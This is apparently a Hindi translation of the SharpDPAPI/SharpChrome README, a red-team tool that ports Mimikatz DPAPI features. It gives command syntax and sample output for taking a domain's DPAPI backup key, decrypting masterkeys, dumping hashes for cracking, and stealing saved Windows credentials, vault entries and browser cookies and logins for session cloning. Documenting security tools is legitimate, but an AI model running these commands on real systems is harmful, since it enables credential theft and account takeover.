
SharpDPAPI कुछ Mimikatz DPAPI कार्यक्षमता का C# पोर्ट है।
SharpDPAPI @gentilkiwi के Mimikatz प्रोजेक्ट से कुछ DPAPI कार्यक्षमता का C# पोर्ट है।
मैंने यह तर्क नहीं बनाया है, यह केवल Mimikatz से एक पोर्ट है ताकि प्रक्रिया को बेहतर ढंग से समझा जा सके और इसे हमारे वर्कफ़्लो के अनुरूप संचालित किया जा सके।
SharpChrome उपप्रोजेक्ट @gentilkiwi और @djhohnstein के काम का एक अनुकूलन है, विशेष रूप से उनके SharpChrome प्रोजेक्ट का। हालाँकि, SharpChrome का यह संस्करण C# SQL लाइब्रेरी के एक अलग संस्करण का उपयोग करता है जो लॉकलेस ओपनिंग का समर्थन करता है। SharpChrome को SharpDPAPI में एक अलग प्रोजेक्ट के रूप में बनाया गया है क्योंकि उपयोग की गई SQLite लाइब्रेरी का आकार बड़ा है।
Chrome और नए Chromium-आधारित Edge ब्राउज़र दोनों को SharpChrome से ट्राइज किया जा सकता है।
SharpChrome @AArnott के BCrypt P/Invoke कोड का एक न्यूनतम संस्करण भी उपयोग करता है जो MIT लाइसेंस के तहत जारी किया गया है।
यदि आप DPAPI से अपरिचित हैं, तो अधिक पृष्ठभूमि जानकारी के लिए यह पोस्ट देखें। क्रेडेंशियल्स और वॉल्ट्स के संबंध में DPAPI के बारे में अधिक जानकारी के लिए, Benjamin के इस विषय पर विकी एंट्री देखें।
@harmj0y इस पोर्ट के मुख्य लेखक हैं।
SharpDPAPI BSD 3-Clause लाइसेंस के तहत लाइसेंस प्राप्त है।
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.20.0
किसी डोमेन कंट्रोलर की DPAPI बैकअप कुंजी प्राप्त करें, वैकल्पिक रूप से DC और आउटपुट फ़ाइल निर्दिष्ट करें:
SharpDPAPI backupkey [/nowrap] [/server:SERVER.domain] [/file:key.pvk]
*search* कमांड रजिस्ट्री, फ़ाइलों, फ़ोल्डरों और base64 ब्लॉब्स में संभावित DPAPI ब्लॉब्स की खोज करेगा:
search /type:registry [/path:HKLM\path\to\key] [/showErrors]
search /type:folder /path:C:\path\to\folder [/maxBytes:<numOfBytes>] [/showErrors]
search /type:file /path:C:\path\to\file [/maxBytes:<numOfBytes>]
search /type:base64 [/base:<base64 string>]
मशीन/सिस्टम ट्राइज:
machinemasterkeys - सभी सुलभ मशीन मास्टरकी फ़ाइलों को ट्राइज करें (DPAPI_SYSTEM LSA रहस्य प्राप्त करने के लिए SYSTEM तक उन्नत करें)
machinecredentials - 'machinemasterkeys' का उपयोग करें और फिर मशीन क्रेडेंशियल फ़ाइलों को ट्राइज करें
machinevaults - 'machinemasterkeys' का उपयोग करें और फिर मशीन वॉल्ट्स को ट्राइज करें
machinetriage - 'machinecredentials' और 'machinevaults' कमांड चलाएँ
उपयोगकर्ता ट्राइज:
'masterkeys' कमांड के तर्क:
/target:FILE/folder - एक विशिष्ट मास्टरकी, या मास्टरकीज़ से भरे फ़ोल्डर को ट्राइज करें (अन्यथा स्थानीय मास्टरकीज़ को ट्राइज करें)
/pvk:BASE64... - पहले सुलभ उपयोगकर्ता मास्टरकीज़ को डिक्रिप्ट करने के लिए base64-एन्कोडेड DPAPI डोमेन निजी कुंजी फ़ाइल का उपयोग करें
/pvk:key.pvk - पहले सुलभ उपयोगकर्ता मास्टरकीज़ को डिक्रिप्ट करने के लिए DPAPI डोमेन निजी कुंजी फ़ाइल का उपयोग करें
/password:X - लक्ष्य उपयोगकर्ता की मास्टरकीज़ को सादे पाठ पासवर्ड का उपयोग करके डिक्रिप्ट करें (दूरस्थ रूप से काम करता है)
/ntlm:X - लक्ष्य उपयोगकर्ता की मास्टरकीज़ को NTLM हैश का उपयोग करके डिक्रिप्ट करें (दूरस्थ रूप से काम करता है)
/credkey:X - लक्ष्य उपयोगकर्ता की मास्टरकीज़ को DPAPI क्रेडकी (डोमेन या स्थानीय SHA1, दूरस्थ रूप से काम करता है) का उपयोग करके डिक्रिप्ट करें
/rpc - लक्ष्य उपयोगकर्ता की मास्टरकीज़ को डोमेन कंट्रोलर से डिक्रिप्ट करने के लिए कहकर डिक्रिप्ट करें
/server:SERVER - एक दूरस्थ सर्वर को ट्राइज करें, प्रशासनिक पहुँच मानते हुए
/hashes - JTR/Hashcat प्रारूप में usermasterkey फ़ाइल 'हैश' आउटपुट करें (कोई डिक्रिप्शन नहीं)
credentials|vaults|rdg|keepass|triage|blob|ps कमांड के तर्क:
डिक्रिप्शन:
/unprotect - 'ps', 'rdg', या 'blob' कमांड के लिए CryptUnprotectData() का उपयोग करने के लिए बलपूर्वक प्रयोग करें
/pvk:BASE64... - पहले सुलभ उपयोगकर्ता मास्टरकीज़ को डिक्रिप्ट करने के लिए base64-एन्कोडेड DPAPI डोमेन निजी कुंजी फ़ाइल का उपयोग करें
/pvk:key.pvk - पहले सुलभ उपयोगकर्ता मास्टरकीज़ को डिक्रिप्ट करने के लिए DPAPI डोमेन निजी कुंजी फ़ाइल का उपयोग करें
/password:X - लक्ष्य उपयोगकर्ता की मास्टरकीज़ को सादे पाठ पासवर्ड का उपयोग करके डिक्रिप्ट करें (दूरस्थ रूप से काम करता है)
/ntlm:X - लक्ष्य उपयोगकर्ता की मास्टरकीज़ को NTLM हैश का उपयोग करके डिक्रिप्ट करें (दूरस्थ रूप से काम करता है)
/credkey:X - लक्ष्य उपयोगकर्ता की मास्टरकीज़ को DPAPI क्रेडकी (डोमेन या स्थानीय SHA1, दूरस्थ रूप से काम करता है) का उपयोग करके डिक्रिप्ट करें
/rpc - लक्ष्य उपयोगकर्ता की मास्टरकीज़ को डोमेन कंट्रोलर से डिक्रिप्ट करने के लिए कहकर डिक्रिप्ट करें
GUID1:SHA1 ... - डिक्रिप्शन के लिए एक या अधिक GUID:SHA1 मास्टरकीज़ का उपयोग करें
/mkfile:FILE - डिक्रिप्शन के लिए एक या अधिक GUID:SHA1 मास्टरकीज़ वाली फ़ाइल का उपयोग करें
लक्ष्यीकरण:
/target:FILE/folder - एक विशिष्ट 'Credentials', '.rdg|RDCMan.settings', 'blob', या 'ps' फ़ाइल स्थान, या 'Vault' फ़ोल्डर को ट्राइज करें
/server:SERVER - एक दूरस्थ सर्वर को ट्राइज करें, प्रशासनिक पहुँच मानते हुए
नोट: /pvk:KEY या /password:X के साथ उपयोग करना होगा
नोट: 'blob' या 'ps' कमांड पर लागू नहीं होता
प्रमाणपत्र ट्राइज:
'certificates' कमांड के तर्क:
/showall - सभी डिक्रिप्टेड निजी कुंजी फ़ाइलें दिखाएं, न कि केवल वे जो स्थापित प्रमाणपत्रों से लिंक हैं (डिफ़ॉल्ट)
/machine - प्रमाणपत्र ट्राइज के लिए स्थानीय मशीन स्टोर का उपयोग करें
/mkfile | /target - /machine ट्राइज के लिए
[उपरोक्त उपयोगकर्ता ट्राइज से सभी डिक्रिप्शन तर्क]
नोट: अधिकांश मामलों में, यदि आप उपयोगकर्ता DPAPI रहस्यों को लक्षित कर रहे हैं तो केवल *triage* का उपयोग करें और यदि आप SYSTEM DPAPI रहस्यों के पीछे जा रहे हैं तो *machinetriage* का उपयोग करें।
ये फ़ंक्शन अन्य सभी लागू फ़ंक्शनों को लपेटते हैं जिन्हें स्वचालित रूप से चलाया जा सकता है।
__ _
(_ |_ _. ._ ._ / |_ ._ _ ._ _ _
__) | | (_| | |_) \_ | | | (_) | | | (/_)
|
v1.9.0
किसी डोमेन कंट्रोलर की DPAPI बैकअप कुंजी प्राप्त करें, वैकल्पिक रूप से DC और आउटपुट फ़ाइल निर्दिष्ट करें:
SharpChrome backupkey [/nowrap] [/server:SERVER.domain] [/file:key.pvk]
'cookies', 'logins', और 'statekeys' कमांड के लिए वैश्विक तर्क:
डिक्रिप्शन:
/unprotect - CryptUnprotectData() का उपयोग करने के लिए बलपूर्वक प्रयोग करें (अनप्रिविलेज्ड निष्पादन के लिए डिफ़ॉल्ट)
/pvk:BASE64... - पहले सुलभ उपयोगकर्ता मास्टरकीज़ को डिक्रिप्ट करने के लिए base64-एन्कोडेड DPAPI डोमेन निजी कुंजी फ़ाइल का उपयोग करें
/pvk:key.pvk - पहले सुलभ उपयोगकर्ता मास्टरकीज़ को डिक्रिप्ट करने के लिए DPAPI डोमेन निजी कुंजी फ़ाइल का उपयोग करें
/password:X - लक्ष्य उपयोगकर्ता की मास्टरकीज़ को सादे पाठ पासवर्ड का उपयोग करके डिक्रिप्ट करें (दूरस्थ रूप से काम करता है)
/ntlm:X - लक्ष्य उपयोगकर्ता की मास्टरकीज़ को NTLM हैश का उपयोग करके डिक्रिप्ट करें (दूरस्थ रूप से काम करता है)
/prekey:X - लक्ष्य उपयोगकर्ता की मास्टरकीज़ को DPAPI प्रीकी (डोमेन या स्थानीय SHA1, दूरस्थ रूप से काम करता है) का उपयोग करके डिक्रिप्ट करें
/rpc - लक्ष्य उपयोगकर्ता की मास्टरकीज़ को डोमेन कंट्रोलर से डिक्रिप्ट करने के लिए कहकर डिक्रिप्ट करें
GUID1:SHA1 ... - डिक्रिप्शन के लिए एक या अधिक GUID:SHA1 मास्टरकीज़ का उपयोग करें
/statekey:X - एक डिक्रिप्टेड AES स्टेट की ('statekey' कमांड से)
लक्ष्यीकरण:
/target:FILE - एक विशिष्ट 'Cookies', 'Login Data', या 'Local State' फ़ाइल स्थान को ट्राइज करें
/target:C:\Users\X\ - किसी निर्दिष्ट कमांड के लिए एक विशिष्ट उपयोगकर्ता फ़ोल्डर को ट्राइज करें
/server:SERVER - एक दूरस्थ सर्वर को ट्राइज करें, प्रशासनिक पहुँच मानते हुए (नोट: /pvk:KEY के साथ उपयोग करना होगा)
/browser:X - 'chrome' (डिफ़ॉल्ट), (क्रोमियम-आधारित) 'edge', या 'slack' को ट्राइज करें
आउटपुट:
/format:X - या तो 'csv' (डिफ़ॉल्ट) या 'table' प्रदर्शन
/showall - फ़िल्टर करने के बजाय null पासवर्ड वाले Login Data एंट्री और समाप्त Cookies दिखाएं (डिफ़ॉल्ट)
/consoleoutfile:X - सभी कंसोल आउटपुट को डिस्क पर एक फ़ाइल में आउटपुट करें
'cookies' कमांड विशिष्ट तर्क:
/cookie:"REGEX" - केवल उन कुकीज़ को लौटाएँ जहाँ कुकी का नाम आपूर्ति किए गए रेगेक्स से मेल खाता है
/url:"REGEX" - केवल उन कुकीज़ को लौटाएँ जहाँ कुकी URL आपूर्ति किए गए रेगेक्स से मेल खाता है
/format:json - EditThisCookie JSON आयात प्रारूप में कुकी मान आउटपुट करें। रेगेक्स के साथ उपयोग करने पर सबसे अच्छा!
/setneverexpire - कुकीज़ आउटपुट के लिए समाप्ति को अब + 100 वर्ष पर सेट करें (json आउटपुट के लिए)
SharpDPAPI का एक लक्ष्य Benjamin के DPAPI कार्य को इस तरह से संचालित करना है जो हमारे वर्कफ़्लो के अनुकूल हो।
आप टूलसेट का वास्तव में उपयोग कैसे करेंगे यह इस बात पर निर्भर करता है कि आप किस चरण में जुड़ाव में हैं। सामान्य तौर पर यह "क्या मैंने डोमेन से समझौता किया है या नहीं" में विभाजित होता है।
यदि डोमेन व्यवस्थापक (या समकक्ष) विशेषाधिकार प्राप्त किए गए हैं, तो डोमेन DPAPI बैकअप कुंजी backupkey कमांड (या Mimikatz के साथ) का उपयोग करके प्राप्त की जा सकती है। यह डोमेन निजी कुंजी कभी नहीं बदलती है, और डोमेन उपयोगकर्ताओं के लिए किसी भी DPAPI मास्टरकीज़ को डिक्रिप्ट कर सकती है। इसका मतलब है, एक डोमेन DPAPI बैकअप कुंजी दिए जाने पर, एक हमलावर किसी भी डोमेन उपयोगकर्ता के लिए मास्टरकीज़ को डिक्रिप्ट कर सकता है जिसका उपयोग किसी भी वॉल्ट/क्रेडेंशियल्स/Chrome लॉगिन/अन्य DPAPI ब्लॉब्स आदि को डिक्रिप्ट करने के लिए किया जा सकता है। backupkey कमांड से प्राप्त कुंजी का उपयोग masterkeys, credentials, vaults, rdg, या triage कमांड के साथ किया जा सकता है।
यदि DA विशेषाधिकार प्राप्त नहीं हुए हैं, तो Mimikatz के sekurlsa::dpapi कमांड का उपयोग करके किसी दिए गए सिस्टम पर लोड किए गए किसी भी मास्टर की (उपयोगकर्ता और SYSTEM) के DPAPI मास्टरकी {GUID}:SHA1 मैपिंग प्राप्त की जाएगी (टिप: कुंजी निष्कर्षण के बाद dpapi::cache चलाने से आपको एक अच्छी तालिका मिलेगी)। यदि आप इन कुंजियों को {GUID1}:SHA1 {GUID2}:SHA1... प्रकार के प्रारूप में बदलते हैं, तो उन्हें credentials, vaults, rdg, या triage कमांड को प्रदान किया जा सकता है। यह आपको किसी भी उपयोगकर्ता के लिए सिस्टम पर सभी क्रेडेंशियल फ़ाइलों/वॉल्ट्स को ट्राइज करने देता है जो वर्तमान में लॉग इन है, बिना फ़ाइल-दर-फ़ाइल डिक्रिप्ट करने की आवश्यकता के।
वैकल्पिक रूप से, यदि आप क्रमशः /password:X, /ntlm:X, या /prekey:X के साथ उपयोगकर्ता-कमांड के लिए लक्ष्य उपयोगकर्ता का पासवर्ड, NTLM हैश, या DPAPI प्रीकी प्रदान कर सकते हैं। डोमेन उपयोगकर्ताओं के लिए Mimikatz के sekurlsa::msv आउटपुट का dpapi फ़ील्ड /prekey के रूप में उपयोग किया जा सकता है, जबकि sekurlsa::msv आउटपुट का sha1 फ़ील्ड स्थानीय उपयोगकर्ताओं के लिए /prekey के रूप में उपयोग किया जा सकता है।
RDG/RDCMan.settings फ़ाइलों को rdg कमांड के साथ डिक्रिप्ट करने के लिए, /unprotect फ़्लैग किसी भी सहेजे गए RDP पासवर्ड को डिक्रिप्ट करने के लिए CryptUnprotectData() का उपयोग करेगा, यदि कमांड उपयोगकर्ता संदर्भ से चलाया जाता है जिसने पासवर्ड सहेजे थे। यह एक अनप्रिविलेज्ड संदर्भ से किया जा सकता है, LSASS को छूने की आवश्यकता नहीं है। क्रेडेंशियल्स/वॉल्ट्स के लिए इस दृष्टिकोण का उपयोग क्यों नहीं किया जाता है, इसके लिए Benjamin का दस्तावेज़ीकरण यहाँ देखें।
मशीन-विशिष्ट DPAPI ट्राइज के लिए, machinemasterkeys|machinecredentials|machinevaults|machinetriage कमांड उपयोगकर्ता DPAPI ट्राइज के मशीन समकक्ष करेंगे। यदि एक उन्नत संदर्भ में (अर्थात, आपको स्थानीय प्रशासनिक अधिकारों की आवश्यकता है), SharpDPAPI "DPAPI_SYSTEM" LSA रहस्य प्राप्त करने के लिए SYSTEM विशेषाधिकारों तक उन्नत होगा, जिसका उपयोग किसी भी खोजी गई मशीन DPAPI मास्टरकीज़ को डिक्रिप्ट करने के लिए किया जाता है। फिर इन कुंजियों का उपयोग मशीन क्रेडेंशियल्स/वॉल्ट्स आदि के लिए लुकअप तालिकाओं के रूप में किया जाता है।
अधिक आक्रामक DPAPI जानकारी के लिए, यहाँ देखें.
SharpChrome Chrome-विशिष्ट SharpDPAPI कार्यान्वयन है जो cookies और logins डिक्रिप्शन/ट्राइज में सक्षम है। इसे SharpDPAPI में एक अलग प्रोजेक्ट के रूप में बनाया गया है क्योंकि उपयोग की गई SQLite लाइब्रेरी का आकार बड़ा है।
चूंकि Chrome Cookies/Login Data CRYPTPROTECT_SYSTEM के बिना सहेजे जाते हैं, CryptUnprotectData() वापस टेबल पर आ जाता है। यदि SharpChrome एक अनएलिवेटेड संदर्भ से चलाया जाता है, तो यह वर्तमान उपयोगकर्ता के लिए किसी भी लॉगिन/कुकीज़ को CryptUnprotectData() का उपयोग करके डिक्रिप्ट करने का प्रयास करेगा। एक /pvk:[BASE64|file.pvk], {GUID}:SHA1 लुकअप तालिका, /password:X, /ntlm:X, /prekey:X, या {GUID}:SHA1 मानों का /mkfile:FILE का उपयोग मानों को डिक्रिप्ट करने के लिए भी किया जा सकता है। साथ ही, उपयोग की गई C# SQL लाइब्रेरी (कुछ संशोधनों के साथ) लॉकलेस ओपनिंग का समर्थन करती है, जिसका अर्थ है कि Chrome को बंद करने की आवश्यकता नहीं है/लक्ष्य फ़ाइलों को दूसरे स्थान पर कॉपी करने की आवश्यकता नहीं है।
वैकल्पिक रूप से, यदि आप क्रमशः /password:X, /ntlm:X, या /prekey:X के साथ उपयोगकर्ता-कमांड के लिए लक्ष्य उपयोगकर्ता का पासवर्ड, NTLM हैश, या DPAPI प्रीकी प्रदान कर सकते हैं। डोमेन उपयोगकर्ताओं के लिए Mimikatz के sekurlsa::msv आउटपुट का dpapi फ़ील्ड /prekey के रूप में उपयोग किया जा सकता है, जबकि sekurlsa::msv आउटपुट का sha1 फ़ील्ड स्थानीय उपयोगकर्ताओं के लिए /prekey के रूप में उपयोग किया जा सकता है।
यदि Chrome संस्करण 80+ है, तो AppData\Local\Google\Chrome\User Data\Local State में एक AES स्टेट की संग्रहीत की जाती है - यह कुंजी DPAPI से सुरक्षित है, इसलिए हम इसे डिक्रिप्ट करने के लिए CryptUnprotectData()/pvk/masterkey लुकअप तालिकाओं का उपयोग कर सकते हैं। फिर इस AES कुंजी का उपयोग नए कुकी और लॉगिन डेटा एंट्रीज़ की सुरक्षा के लिए किया जाता है। जब /browser:edge या /browser:brave निर्दिष्ट किया जाता है, तो नए Chromium-आधारित Edge ब्राउज़र ट्राइज के लिए भी यही प्रक्रिया है।
डिफ़ॉल्ट रूप से, कुकीज़ और लॉगिन को csv के रूप में प्रदर्शित किया जाता है - इसे /format:table के साथ तालिका आउटपुट के लिए, और विशेष रूप से कुकीज़ के लिए /format:json के साथ बदला जा सकता है। json विकल्प कुकीज़ को एक json प्रारूप में आउटपुट करता है जिसे आसान पुन: उपयोग के लिए EditThisCookie Chrome एक्सटेंशन में आयात किया जा सकता है।
cookies कमांड में /cookie:REGEX और /url:REGEX तर्क भी हैं जो केवल आपूर्ति किए गए रेगेक्स से मेल खाने वाले कुकी नाम या URL लौटाते हैं। यह /format:json के साथ विशिष्ट साइटों तक पहुँच को आसानी से क्लोन करने के लिए उपयोगी है।
विशिष्ट कुकीज़/लॉगिन/स्टेटकी फ़ाइलों को /target:X के साथ निर्दिष्ट किया जा सकता है, और किसी भी ट्राइज कमांड के लिए /target:C:\Users\USER\ के साथ एक उपयोगकर्ता फ़ोल्डर निर्दिष्ट किया जा सकता है।
masterkeys कमांड किसी भी पठनीय उपयोगकर्ता मास्टरकी फ़ाइलों की खोज करेगा और उन्हें आपूर्ति की गई डोमेन DPAPI बैकअप कुंजी का उपयोग करके डिक्रिप्ट करेगा। यह मास्टरकी {GUID}:SHA1 मैपिंग का एक सेट लौटाएगा।
/password:X का उपयोग किसी उपयोगकर्ता की वर्तमान मास्टरकीज़ को डिक्रिप्ट करने के लिए किया जा सकता है। ध्यान दें कि डोमेन-जॉइंड मशीनों के लिए, पासवर्ड सादे पाठ या NTLM प्रारूप में प्रदान किया जा सकता है। यदि /password के साथ /target भी प्रदान किया गया है, तो उपयोगकर्ता का /sid:X पूर्ण डोमेन SID भी निर्दिष्ट करना होगा।
डोमेन बैकअप कुंजी base64 रूप (/pvk:BASE64...) या फ़ाइल रूप (/pvk:key.pvk) में हो सकती है।
C:\Temp>SharpDPAPI.exe masterkeys /pvk:key.pvk
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Action: Triage User Masterkey Files
[*] Found MasterKey : C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa
[*] Found MasterKey : C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a
...(snip)...
[*] User master key cache:
{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316...(snip)...
...(snip)...
यदि कोई /pasword या /pvk निर्दिष्ट नहीं है, तो आप John/Hashcat प्रारूप में मास्टर कुंजी हैश डंप करने के लिए /hashes फ़्लैग पास कर सकते हैं। इस मोड में, हैश {GUID}:DPAPImk के प्रारूप में मुद्रित होते हैं।
वर्तमान पसंदीदा मास्टर कुंजी को उजागर करने के लिए Preferred कुंजी भी पार्स की जाती है, ताकि पुरानी कुंजियों को क्रैक करने में प्रयास बर्बाद न हो।
C:\Temp>SharpDPAPI.exe masterkeys /hashes
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.11.3
[*] Action: User DPAPI Masterkey File Triage
[*] Will dump user masterkey hashes
[*] Found MasterKey : C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa
[*] Found MasterKey : C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a
...(snip)...
[*] Preferred master keys:
C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa
C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a
[*] User master key hashes:
{42e95117-ff5f-40fa-a6fc-87584758a479}:$DPAPImk$1*3*S-1-5-21-1473254003-2681465353-4059813368-1000*des3*sha1*18000*09c49e9af9...(snip)...
एक विशिष्ट क्रेडेंशियल फ़ाइल (या क्रेडेंशियल्स का फ़ोल्डर) /target:FILE या /target:C:\Folder\ के साथ निर्दिष्ट किया जा सकता है। यदि कोई फ़ाइल निर्दिष्ट की जाती है, तो {GUID}:SHA1 मान आवश्यक हैं, और यदि कोई फ़ोल्डर निर्दिष्ट किया जाता है तो या तो a) {GUID}:SHA1 मान प्रदान किए जाने चाहिए या b) फ़ोल्डर में DPAPI मास्टरकी होनी चाहिए और एक /pvk डोमेन बैकअप कुंजी प्रदान की जानी चाहिए।
यदि एक उन्नत संदर्भ (elevated context) से चलाया जाता है, तो सभी उपयोगकर्ताओं के लिए क्रेडेंशियल फ़ाइलों की जांच की जाएगी, अन्यथा केवल वर्तमान उपयोगकर्ता की क्रेडेंशियल फ़ाइलों को संसाधित किया जाएगा।
डोमेन {GUID}:SHA1 मास्टरकी मैपिंग का उपयोग करना:
C:\Temp>SharpDPAPI.exe credentials {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Action: User DPAPI Credential Triage
[*] Triaging Credentials for ALL users
Folder : C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\
CredFile : 48C08A704ADBA03A93CD7EC5B77C0EAB
guidMasterKey : {885342c6-028b-4ecf-82b2-304242e769e0}
size : 436
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32772/26115
description : Local Credential Data
LastWritten : 1/22/2019 2:44:40 AM
TargetName : Domain:target=TERMSRV/10.4.10.101
TargetAlias :
Comment :
UserName : DOMAIN\user
Credential : Password!
...(snip)...
किसी भी खोजे जा सकने वाले मास्टरकी को पहले डिक्रिप्ट करने के लिए डोमेन DPAPI बैकअप कुंजी का उपयोग करना:
C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Action: User DPAPI Credential Triage
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
[*] User master key cache:
{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...
[*] Triaging Credentials for ALL users
Folder : C:\Users\harmj0y\AppData\Local\Microsoft\Credentials\
CredFile : 48C08A704ADBA03A93CD7EC5B77C0EAB
guidMasterKey : {885342c6-028b-4ecf-82b2-304242e769e0}
size : 436
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32772/26115
description : Local Credential Data
LastWritten : 1/22/2019 2:44:40 AM
TargetName : Domain:target=TERMSRV/10.4.10.101
TargetAlias :
Comment :
UserName : DOMAIN\user
Credential : Password!
...(snip)...
vaults कमांड वॉल्ट्स की खोज करेगा और या तो a) उन्हें किसी भी पारित "{GUID}:SHA1" मास्टरकी के साथ डिक्रिप्ट करेगा, b) एक या अधिक {GUID}:SHA1 मास्टरकी मैपिंग का /mkfile:FILE, c) किसी उपलब्ध DPAPI डोमेन बैकअप कुंजी (/pvk:BASE64... या /pvk:key.pvk) का उपयोग करके पहले किसी भी उपयोगकर्ता मास्टरकी को डिक्रिप्ट करेगा (जैसे masterkeys), या d) एक /password:X का उपयोग करके किसी भी उपयोगकर्ता मास्टरकी को डिक्रिप्ट करेगा, जिसका उपयोग लुकअप डिक्रिप्शन तालिका के रूप में किया जाता है। DPAPI GUID मैपिंग को Mimikatz के sekurlsa::dpapi कमांड से पुनर्प्राप्त किया जा सकता है।
Vault फ़ोल्डर में Policy.vpol फ़ोल्डर को किसी भी प्रदान की गई DPAPI कुंजियों के साथ डिक्रिप्ट किया जाता है ताकि संबंधित AES डिक्रिप्शन कुंजियाँ प्राप्त की जा सकें, जिनका उपयोग किसी भी संबंधित .vcrd फ़ाइलों को डिक्रिप्ट करने के लिए किया जाता है।
एक विशिष्ट वॉल्ट फ़ोल्डर को /target:C:\Folder\ के साथ निर्दिष्ट किया जा सकता है। इस मामले में, या तो a) {GUID}:SHA1 मान प्रदान किए जाने चाहिए या b) फ़ोल्डर में DPAPI मास्टरकी होनी चाहिए और एक /pvk डोमेन बैकअप कुंजी प्रदान की जानी चाहिए।
डोमेन {GUID}:SHA1 मास्टरकी मैपिंग का उपयोग करना:
C:\Temp>SharpDPAPI.exe vaults {44ca9f3a-9097-455e-94d0-d91de951c097}:9b049ce6918ab89937687...(snip)... {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Action: User DPAPI Vault Triage
[*] Triaging Vaults for ALL users
[*] Triaging Vault folder: C:\Users\harmj0y\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
VaultID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
Name : Web Credentials
guidMasterKey : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
size : 240
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32772/26115
description :
aes128 key : EDB42294C0721F2F1638A40F0CD67CD8
aes256 key : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793
LastWritten : 10/12/2018 12:10:42 PM
FriendlyName : Internet Explorer
Identity : admin
Resource : https://10.0.0.1/
Authenticator : Password!
...(snip)...
किसी भी खोजे जा सकने वाले मास्टरकी को पहले डिक्रिप्ट करने के लिए डोमेन DPAPI बैकअप कुंजी का उपयोग करना:
C:\Temp>SharpDPAPI.exe credentials /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Action: DPAPI Vault Triage
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
[*] User master key cache:
{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...
[*] Triaging Vaults for ALL users
[*] Triaging Vault folder: C:\Users\harmj0y\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
VaultID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
Name : Web Credentials
guidMasterKey : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
size : 240
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32772/26115
description :
aes128 key : EDB42294C0721F2F1638A40F0CD67CD8
aes256 key : 84CD64B5F438B8B9DA15238A5CFA418C04F9BED6B4B4CCAC9705C36C65B5E793
LastWritten : 10/12/2018 12:10:42 PM
FriendlyName : Internet Explorer
Identity : admin
Resource : https://10.0.0.1/
Authenticator : Password!
...(snip)...
एक निर्दिष्ट फ़ोल्डर के साथ डोमेन DPAPI बैकअप कुंजी का उपयोग करना (अर्थात "ऑफ़लाइन" जांच):
C:\Temp>SharpDPAPI.exe vaults /target:C:\Temp\test\ /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Action: User DPAPI Vault Triage
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
[*] User master key cache:
{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
...(snip)...
[*] Target Vault Folder: C:\Temp\test\
[*] Triaging Vault folder: C:\Temp\test\
VaultID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
Name : Web Credentials
guidMasterKey : {feef7b25-51d6-4e14-a52f-eb2a387cd0f3}
size : 240
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
